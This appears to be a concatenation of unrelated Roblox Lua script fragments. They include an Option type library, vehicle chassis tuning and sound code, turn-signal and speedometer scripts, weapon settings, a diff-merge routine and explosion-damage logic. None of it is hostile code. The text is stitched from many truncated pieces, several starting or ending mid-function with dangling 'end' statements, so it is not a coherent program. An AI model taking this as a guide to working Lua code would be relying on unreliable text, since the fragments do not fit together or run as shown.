nil values that can fail silently. Example: local result1 = Option.Some(32) local result2 = Option.Some(nil) local result3 = Option.Some("Hi") local result4 = Option.Some(nil) local result5 = Option.None -- Use 'Match' to match if the value is Some or None: result1:Match { Some = function(value) print(value) end; None = function() print("No value") end; } -- Raw check: if result2:IsSome() then local value = result2:Unwrap() -- Explicitly call Unwrap print("Value of result2:", value) end if result3:IsNone() then print("No result for result3") end -- Bad, will throw error bc result4 is none: local value = result4:Unwrap() --]]
local CLASSNAME = "Option" local Option = {} Option.__index = Option function Option._new(value) local self = setmetatable({ ClassName = CLASSNAME; _v = value; _s = (value ~= nil); }, Option) return self end function Option.Some(value) assert(value ~= nil, "Option.Some() value cannot be nil") return Option._new(value) end function Option.Wrap(value) if (value == nil) then return Option.None else return Option.Some(value) end end function Option.Is(obj) return (type(obj) == "table" and getmetatable(obj) == Option) end function Option.Assert(obj) assert(Option.Is(obj), "Result was not of type Option") end function Option.Deserialize(data) -- type data = {ClassName: string, Value: any} assert(type(data) == "table" and data.ClassName == CLASSNAME, "Invalid data for deserializing Option") return (data.Value == nil and Option.None or Option.Some(data.Value)) end function Option:Serialize() return { ClassName = self.ClassName; Value = self._v; } end function Option:Match(matches) local onSome = matches.Some local onNone = matches.None assert(type(onSome) == "function", "Missing 'Some' match") assert(type(onNone) == "function", "Missing 'None' match") if (self:IsSome()) then return onSome(self:Unwrap()) else return onNone() end end function Option:IsSome() return self._s end function Option:IsNone() return (not self._s) end function Option:Expect(msg) assert(self:IsSome(), msg) return self._v end function Option:ExpectNone(msg) assert(self:IsNone(), msg) end function Option:Unwrap() return self:Expect("Cannot unwrap option of None type") end function Option:UnwrapOr(default) if (self:IsSome()) then return self:Unwrap() else return default end end function Option:UnwrapOrElse(defaultFunc) if (self:IsSome()) then return self:Unwrap() else return defaultFunc() end end function Option:And(optB) if (self:IsSome()) then return optB else return Option.None end end function Option:AndThen(andThenFunc) if (self:IsSome()) then local result = andThenFunc(self:Unwrap()) Option.Assert(result) return result else return Option.None end end function Option:Or(optB) if (self:IsSome()) then return self else return optB end end function Option:OrElse(orElseFunc) if (self:IsSome()) then return self else local result = orElseFunc() Option.Assert(result) return result end end function Option:XOr(optB) local someOptA = self:IsSome() local someOptB = optB:IsSome() if (someOptA == someOptB) then return Option.None elseif (someOptA) then return self else return optB end end function Option:Filter(predicate) if (self:IsNone() or not predicate(self._v)) then return Option.None else return self end end function Option:Contains(value) return (self:IsSome() and self._v == value) end function Option:__tostring() if (self:IsSome()) then return ("Option<" .. typeof(self._v) .. ">") else return "Option<None>" end end function Option:__eq(opt) if (Option.Is(opt)) then if (self:IsSome() and opt:IsSome()) then return (self:Unwrap() == opt:Unwrap()) elseif (self:IsNone() and opt:IsNone()) then return true end end return false end Option.None = Option._new() return Option
--Output Cache
local HPCache = {} if _Tune.CacheTorque then for gear,ratio in pairs(_Tune.Ratios) do local hpPlot = {} for rpm = math.floor(_Tune.IdleRPM/_Tune.CacheRPMInc),math.ceil((_Tune.Redline+100)/_Tune.CacheRPMInc) do local tqPlot = {} tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*_Tune.CacheRPMInc,gear-2) hp1,tq1 = GetCurve((rpm+1)*_Tune.CacheRPMInc,gear-2) tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(_Tune.CacheRPMInc/1000) tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(_Tune.CacheRPMInc/1000) hpPlot[rpm] = tqPlot end table.insert(HPCache,hpPlot) end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 300 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 7200 -- Use sliders to manipulate values Tune.Redline = 7700 Tune.EqPoint = 7250 Tune.PeakSharpness = 9.5 Tune.CurveMult = 0.15 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[[Engine]] --Torque Curve
Tune.Horsepower = 288 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = false ,MoveBolt = true ,BoltLock = false ,CanBreachDoor = false ,CanBreak = true --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = false --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = true --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 4 ,GunFOVReduction = 5 ,BoltExtend = Vector3.new(0, 0, 0.4) ,SlideExtend = Vector3.new(0, 0, 0.4)
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(21) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(106)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Void of true power" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--bp.Position = shelly.PrimaryPart.Position
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end bp.Parent = nil wait(math.random(3,8)) end local soundBank = game.ReplicatedStorage.Sounds.NPC.Shelly:GetChildren() shelly.Health.Changed:connect(function() if shellyGood then bp.Parent,bg.Parent= nil,nil shelly.PrimaryPart.Transparency =1 shelly.PrimaryPart.CanCollide = false shelly.Shell.Transparency = 1 shelly.HitShell.Transparency = 0 shelly.HitShell.CanCollide = true shellyGood = false ostrich = tick() shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0)) local hitSound = soundBank[math.random(1,#soundBank)]:Clone() hitSound.PlayOnRemove = true hitSound.Parent = shelly.PrimaryPart wait() hitSound:Destroy() repeat wait() until tick()-ostrich > 20 shelly.PrimaryPart.Transparency = 0 shelly.PrimaryPart.CanCollide = true shelly.Shell.Transparency = 0 shelly.HitShell.Transparency = 1 shelly.HitShell.CanCollide = false bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart shellyGood = true end end) while true do if shellyGood then MoveShelly() else wait(1) end end
---------------------------------------------------
This = script.Parent Characters = require(script.Characters) This.Parent.Parent.Parent.Parent.Parent:WaitForChild("Floor").Changed:connect(function(floor) --custom indicator code-- ChangeFloor(tostring(floor)) end) function ChangeFloor(SF) SetDisplay(2,(string.len(SF) == 2 and SF:sub(1,1) or "NIL")) SetDisplay(3,(string.len(SF) == 2 and SF:sub(2,2) or SF)) end function SetDisplay(ID,CHAR) if This.Display:FindFirstChild("Matrix"..ID) and Characters[CHAR] ~= nil then for i,l in pairs(Characters[CHAR]) do for r=1,5 do This.Display["Matrix"..ID]["Row"..i]["D"..r].Visible = (l:sub(r,r) == "1" and true or false) end end end end for M = 1, Displays do for R = 1, 7 do for D = 1, 5 do This.Display["Matrix"..M]["Row"..R]["D"..D].ImageColor3 = DisplayColor end end end
--Made by Repressed_Memories -- Edited by Truenus
local component = script.Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local mouse = game.Players.LocalPlayer:GetMouse() local leftsignal = "z" local rightsignal = "c" local hazards = "x" local hazardson = false local lefton = false local righton = false local leftlight = car.Body.Lights.Left.TurnSignal.TSL local rightlight = car.Body.Lights.Right.TurnSignal.TSL local leftfront = car.Body.Lights.Left.TurnSignal2 local rightfront = car.Body.Lights.Right.TurnSignal2 local signalblinktime = 0.32 local neonleft = car.Body.Lights.Left.TurnSignal local neonright = car.Body.Lights.Right.TurnSignal local on = BrickColor.New("New Yeller") local off = BrickColor.New("Medium stone grey") mouse.KeyDown:connect(function(lkey) local key = string.lower(lkey) if key == leftsignal then if lefton == false then lefton = true repeat neonleft.BrickColor = on leftlight.Enabled = true neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonleft.BrickColor = off component.TurnSignal:play() neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" leftlight.Enabled = false wait(signalblinktime) until lefton == false or righton == true elseif lefton == true or righton == true then lefton = false component.TurnSignal:stop() leftlight.Enabled = false end elseif key == rightsignal then if righton == false then righton = true repeat neonright.BrickColor = on rightlight.Enabled = true neonright.Material = "Neon" rightfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonright.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" rightlight.Enabled = false wait(signalblinktime) until righton == false or lefton == true elseif righton == true or lefton == true then righton = false component.TurnSignal:stop() rightlight.Enabled = false end elseif key == hazards then if hazardson == false then hazardson = true repeat neonright.BrickColor = on neonleft.BrickColor = on neonright.Material = "Neon" rightfront.Material = "Neon" neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() rightlight.Enabled = true leftlight.Enabled = true wait(signalblinktime) neonright.BrickColor = off neonleft.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" rightlight.Enabled = false leftlight.Enabled = false wait(signalblinktime) until hazardson == false elseif hazardson == true then hazardson = false component.TurnSignal:stop() rightlight.Enabled = false leftlight.Enabled = false end end end)
-- Touched events
F_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('front', x) end) FL_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('frontleft', x) end) FR_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('frontright', x) end) R_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('right', x) end) L_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('left', x) end)
-- Referencing Game Objects --
local baseplate = game.Workspace.Baseplate local myPart = game.Workspace.block1 myPart.Transparency = 0.5 baseplate.BrickColor = BrickColor.Green()
-- Initialize material tool
local MaterialTool = require(CoreTools:WaitForChild 'Material') Core.AssignHotkey('N', Core.Support.Call(Core.EquipTool, MaterialTool)); Core.Dock.AddToolButton(Core.Assets.MaterialIcon, 'N', MaterialTool, 'MaterialInfo');
--[[ README This clock uses the time in Lighting to display the time by default Change the option USE_CUSTOM_TIME to true in order to control the clock time yourself Use the MinutesAfterMidnight NumberValue in the DigitalClock model to set the time You can change the refresh rate of the clock using the NumberValue child of this script Click on this model to turn it on/off This model can be safely resized ]]
--[=[ Checks if the given object is a Symbol. @param obj any -- Anything @return boolean -- Returns `true` if the `obj` parameter is a Symbol ]=]
function Symbol.Is(obj: any): boolean return type(obj) == "table" and getmetatable(obj) == Symbol end
--[[Running Logic]]
-- local anitrack = animator.Value:LoadAnimation(animation) anitrack:Play() wait(10) script:Destroy()
-- Hat giver script.
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Russian cop" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = script.Parent.formFactor p.Size = Vector3.new(1, 1, 1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentForward = Vector3.new(0, -0.1, -0.995) h.AttachmentPos = Vector3.new(0, -0.17, 0.1) h.AttachmentRight = Vector3.new(1,0,0) h.AttachmentUp = Vector3.new(0, 0.995, -0.1) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- cuts part into two based on an axis aligned plane
local function slicePart(part, origin, normal) local verts = blockVerts(part.CFrame, part.Size/2); if (normal:Dot(POSITIVEDIR) < 0) then normal = -normal; end local distances = {}; for i = 1, #verts do distances[#distances+1] = (verts[i] - origin):Dot(normal); end local min = math.min(unpack(distances)); local max = math.max(unpack(distances)); local v = part.Position - origin; local center = (v - v:Dot(normal)*normal) + origin; local size = part.Size - part.Size*normal; local pos1, size1; if (max >= 0.05) then pos1 = center + normal*max/2; size1 = size + max*normal; end local pos2, size2; if (min <= -0.05) then pos2 = center + normal*min/2; size2 = size - min*normal; end return pos1, size1, pos2, size2; end
-- ROBLOX deviation: no need for regex patterns
_diff_cleanupMerge = function(diffs: Array<Diff>) diffs[#diffs + 1] = Diff.new(DIFF_EQUAL, "") -- Add a dummy entry at the end. local pointer = 1 local count_delete, count_insert = 0, 0 local text_delete, text_insert = "", "" local commonlength while diffs[pointer] do local diff_type = diffs[pointer][1] if diff_type == DIFF_INSERT then count_insert = count_insert + 1 text_insert = text_insert .. diffs[pointer][2] pointer = pointer + 1 elseif diff_type == DIFF_DELETE then count_delete = count_delete + 1 text_delete = text_delete .. diffs[pointer][2] pointer = pointer + 1 elseif diff_type == DIFF_EQUAL then -- Upon reaching an equality, check for prior redundancies. if count_delete + count_insert > 1 then if count_delete > 0 and count_insert > 0 then -- Factor out any common prefixies. commonlength = _diff_commonPrefix(text_insert, text_delete) if commonlength > 0 then local back_pointer = pointer - count_delete - count_insert if back_pointer > 1 and diffs[back_pointer - 1][1] == DIFF_EQUAL then diffs[back_pointer - 1][2] = diffs[back_pointer - 1][2] .. strsub(text_insert, 1, commonlength) else tinsert(diffs, 1, Diff.new(DIFF_EQUAL, strsub(text_insert, 1, commonlength))) pointer = pointer + 1 end text_insert = strsub(text_insert, commonlength + 1) text_delete = strsub(text_delete, commonlength + 1) end -- Factor out any common suffixies. commonlength = _diff_commonSuffix(text_insert, text_delete) if commonlength ~= 0 then diffs[pointer][2] = strsub(text_insert, -commonlength) .. diffs[pointer][2] text_insert = strsub(text_insert, 1, -commonlength - 1) text_delete = strsub(text_delete, 1, -commonlength - 1) end end -- Delete the offending records and add the merged ones. pointer = pointer - count_delete - count_insert for i = 1, count_delete + count_insert do tremove(diffs, pointer) end if #text_delete > 0 then tinsert(diffs, pointer, Diff.new(DIFF_DELETE, text_delete)) pointer = pointer + 1 end if #text_insert > 0 then tinsert(diffs, pointer, Diff.new(DIFF_INSERT, text_insert)) pointer = pointer + 1 end pointer = pointer + 1 elseif pointer > 1 and diffs[pointer - 1][1] == DIFF_EQUAL then -- Merge this equality with the previous one. diffs[pointer - 1][2] = diffs[pointer - 1][2] .. diffs[pointer][2] tremove(diffs, pointer) else pointer = pointer + 1 end count_insert, count_delete = 0, 0 text_delete, text_insert = "", "" end end if diffs[#diffs][2] == "" then diffs[#diffs] = nil -- Remove the dummy entry at the end. end -- Second pass: look for single edits surrounded on both sides by equalities -- which can be shifted sideways to eliminate an equality. -- e.g: A<ins>BA</ins>C -> <ins>AB</ins>AC local changes = false pointer = 2 -- Intentionally ignore the first and last element (don't need checking). while pointer < #diffs do local prevDiff, nextDiff = diffs[pointer - 1], diffs[pointer + 1] if prevDiff[1] == DIFF_EQUAL and nextDiff[1] == DIFF_EQUAL then -- This is a single edit surrounded by equalities. local diff = diffs[pointer] local currentText = diff[2] local prevText = prevDiff[2] local nextText = nextDiff[2] if #prevText == 0 then tremove(diffs, pointer - 1) changes = true elseif strsub(currentText, -#prevText) == prevText then -- Shift the edit over the previous equality. diff[2] = prevText .. strsub(currentText, 1, -#prevText - 1) nextDiff[2] = prevText .. nextDiff[2] tremove(diffs, pointer - 1) changes = true elseif strsub(currentText, 1, #nextText) == nextText then -- Shift the edit over the next equality. prevDiff[2] = prevText .. nextText diff[2] = strsub(currentText, #nextText + 1) .. nextText tremove(diffs, pointer + 1) changes = true end end pointer = pointer + 1 end -- If shifts were made, the diff needs reordering and another shift sweep. if changes then -- LUANOTE: no return value, but necessary to use 'return' to get -- tail calls. return _diff_cleanupMerge(diffs) end return end return { Diff = Diff, DIFF_EQUAL = DIFF_EQUAL, DIFF_DELETE = DIFF_DELETE, DIFF_INSERT = DIFF_INSERT, cleanupSemantic = diff_cleanupSemantic, -- private, used for testing only _diff_commonPrefix = _diff_commonPrefix, _diff_commonSuffix = _diff_commonSuffix, _diff_commonOverlap = _diff_commonOverlap, _diff_cleanupMerge = _diff_cleanupMerge, _diff_cleanupSemanticLossless = _diff_cleanupSemanticLossless, }
--------------------[ KEYBOARD FUNCTIONS ]--------------------------------------------
function KeyDown(K) local Key = string.lower(K) if Key == S.LowerStanceKey and S.CanChangeStance then if (not Running) then if Stance == 0 then Crouch() elseif Stance == 1 then Prone() end elseif S.DolphinDive then delay(1 / 30,function() CanRun = false Dive(S.BaseWalkSpeed) Run_Key_Pressed = false wait(S.DiveRechargeTime) CanRun = true end) end end if Key == S.RaiseStanceKey and S.CanChangeStance then if (not Running) then if Stance == 2 then Crouch() elseif Stance == 1 then Stand() end end end if Key == S.ReloadKey then if (not Reloading) and (not Running) then Reload() end end if Key == S.KnifeKey and S.CanKnife then if KnifeReady and (not Knifing) and (not ThrowingGrenade) then if Aimed then UnAimGun(true) end BreakReload = true Knifing = true KnifeReady = false KnifeAnim() BreakReload = false Knifing = false delay(S.KnifeCooldown, function() KnifeReady = true end) end end if Key == S.SprintKey then Run_Key_Pressed = true if Aimed and (not Aiming) then TakingBreath = false SteadyCamera() end if CanRun then if (not Idleing) and Walking and (not Running) and (not Knifing) and (not ThrowingGrenade) then if Reloading then BreakReload = true end MonitorStamina() end end end end function KeyUp(K) local Key = string.lower(K) if Key == S.SprintKey then Run_Key_Pressed = false Running = false if (not ChargingStamina) then RechargeStamina() end end end
--Gets a remote event. It does not check the class.
function RemoteEventCreator:GetRemoteFunction(Name) return RemoteEventCreator:GetRemoteEvent(Name) end return RemoteEventCreator
-- Stop the shimmer
local function stopShimmer() shim:Cancel() end
--[[ Script Variables ]]
-- while not Players.LocalPlayer do task.wait() end local LocalPlayer = Players.LocalPlayer local Humanoid = MasterControl:GetHumanoid() local JumpButton = nil local OnInputEnded = nil -- defined in Create() local CharacterAddedConnection = nil local HumStateConnection = nil local HumChangeConnection = nil local ExternallyEnabled = false local JumpPower = 0 local JumpStateEnabled = true
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local mult=0 local det=.13 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 script:WaitForChild("Rev") script.Parent.Values.Gear.Changed:connect(function() mult=1.2 if script.Parent.Values.RPM.Value>5000 then shift=.2 end end) for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") game["Run Service"].Stepped:connect(function() mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) trmmult = math.max(0,trmmult-.05) trmon = 1 else throt = math.min(1,throt+.1) trmmult = 1 trmon = 0 end shift = math.min(1,shift+.2) if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Volume = (1*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50)) local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume) else car.DriveSeat.Rev.Volume = Volume car.DriveSeat.Rev.Pitch = Pitch end end)
-- Create variable for easy reference to our Lava Bricks folder
local LavaBricks = game.Workspace:WaitForChild("Lava Bricks"):GetChildren()
--doEvent()
print(lowered) return end function doEvent() if lowered == true then return --negative event else return --positive event end end function onClicked() print("clicked") if debounce == false then debounce = true delay(5, function() debounce = false end) if lowered == false then lower() else if lowered == true then raise() end end else return end end script.Parent.Bar.ClickDetector.MouseClick:connect(onClicked) lower()
-- force.Parent = nil
SlashSound:stop() end function onActivated() if not Tool.melee.Value then return end meleeconnect = Tool.Handle.Touched:connect(blow) lunge() meleeconnect:disconnect() wait(.2) Tool.melee.Value=false end function TeamColorFix() if game.Players:playerFromCharacter(Tool.Parent)~=nil then local jill=game.Players:playerFromCharacter(Tool.Parent) if jill.Neutral==false then cc=jill.TeamColor else print("neutral") colors = {45, 119, 21, 24, 23, 105, 104} cc=BrickColor.new(colors[math.random(1, 7)]) end else print("no player") colors = {45, 119, 21, 24, 23, 105, 104} cc=BrickColor.new(colors[math.random(1, 7)]) end end Tool.Equipped:connect(TeamColorFix) Tool.melee.Changed:connect(onActivated)
-------------------------------------Gun info
ToolName="Shotgun" ClipSize=6 ReloadTime=3 Firerate=.40 MinSpread=0 MaxSpread=0 SpreadRate=0 BaseDamage=100 automatic=false burst=false shot=true --Shotgun BarrlePos=Vector3.new(-2.20,.60,0) Cursors={"rbxasset://textures\\GunCursor.png"} ReloadCursor="rbxasset://textures\\GunWaitCursor.png"
--[=[ Observable rx library for Roblox by Quenty. This provides a variety of composition classes to be used, and is the primary entry point for an observable. Most of these functions return either a function that takes in an observable (curried for piping) or an [Observable](/api/Observable) directly. @class Rx ]=]
local require = require(script.Parent.loader).load(script) local Maid = require("Maid") local Observable = require("Observable") local Promise = require("Promise") local Symbol = require("Symbol") local Table = require("Table") local ThrottledFunction = require("ThrottledFunction") local cancellableDelay = require("cancellableDelay") local CancelToken = require("CancelToken") local UNSET_VALUE = Symbol.named("unsetValue")
--Version 1.43 --
local carSeat=script.Parent.Parent.Parent.Parent local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115} while true do wait(0.01) local value = math.floor((10/12) * (60/88) * carSeat.Velocity.magnitude) -- SPS Magnitude to MPH --local value=(carSeat.Velocity.magnitude)/1 --This is the velocity so if it was 1.6 it should work. If not PM me! or comment!-- if value<10000 then local nnnn=math.floor(value/1000) local nnn=(math.floor(value/100))-(nnnn*10) local nn=(math.floor(value/10)-(nnn*10))-(nnnn*100) local n=(math.floor(value)-(nn*10)-(nnn*100))-(nnnn*1000) script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1] if value>=10 then script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1] else script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[12] end if value>=100 then script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1] else script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[12] end else script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[10] script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[10] script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[10] end end
-- Limits the amount you can steer based on velocity. Helpful for keyboard/non-analog steer inputs
local SteerLimit = 0.2 -- Max amount the steering float (-1 to 1) will be limited by if limitSteerAtHighVel is true local DoGravityAdjust = true -- Adjust chassis values based on the current gravity setting. local ActualDrivingTorque local ActualBrakingTorque local ActualStrutSpringStiffnessFront local ActualStrutSpringDampingFront local ActualStrutSpringStiffnessRear local ActualStrutSpringDampingRear local ActualTorsionSpringStiffness local ActualTorsionSpringDamping
--If you see this model posted by someone else, They didnt make that-- --I made it (Dr_Kylak)-- --And theres a reason why im inserting this in, Its because i realeased other R15 models-- --But theres a problem, People are taking the model and uploading it themselves to think that they made it-- --You may know me as the person who created that model Scared guy the r15 one-- --But yeah Please do not Copy this and enjoy the model. You can use it for whatever you want!--
--[[Status Vars]]
local _IsOn = _Tune.AutoStart if _Tune.AutoStart then script.Parent.IsOn.Value=true end local _GSteerT=0 local _GSteerC=0 local _GThrot=0 local _GThrotShift=1 local _GBrake=0 local _ClutchOn = true local _ClPressing = false local _RPM = 0 local _HP = 0 local _OutTorque = 0 local _CGear = 0 local _PGear = _CGear local _spLimit = 0 local _Boost = 0 local _TCount = 0 local _TPsi = 0 local _BH = 0 local _BT = 0 local _NH = 0 local _NT = 0 local _TMode = _Tune.TransModes[1] local _MSteer = false local _SteerL = false local _SteerR = false local _PBrake = false local _TCS = _Tune.TCSEnabled local _TCSActive = false local _TCSAmt = 0 local _ABS = _Tune.ABSEnabled local _ABSActive = false local FlipWait=tick() local FlipDB=false local _InControls = false
--[[ If the list contains the sought-after element, return its index, or nil otherwise. ]]
function Functional.Find(list, value) for index, element in ipairs(list) do if element == value then return index end end return nil end return Functional
-- if GetHitPlayers() >= 3 then -- AwardBadge:Invoke(FiredPlayer,"Explosive Results") -- end
local FiredPlayer = GetReflectedByPlayer() or FiredPlayer local DoDamage = PlayerDamager:CanDamageHumanoid(FiredPlayer,HitHumanoid) if DoDamage then local Distance local HumanoidRootPrart = HitCharacter:FindFirstChild("HumanoidRootPart") if HumanoidRootPrart then Distance = (HumanoidRootPrart.Position - Position ).magnitude else Distance = RadiusFromBlast end RadiusFromBlast = math.min(math.max(RadiusFromBlast - 0.8,0),1) PlayerDamager:DamageHumanoid(FiredPlayer,HitHumanoid,MAX_DAMAGE - ((Distance/BLAST_RADIUS) * (MAX_DAMAGE - MIN_DAMAGE)),GetDamageName()) end end end --Break joints if it isn't a character. if BreakJoints then ExplosionTouchPart:BreakJoints() end --If the part is able to fade with explosions, signal it to fade.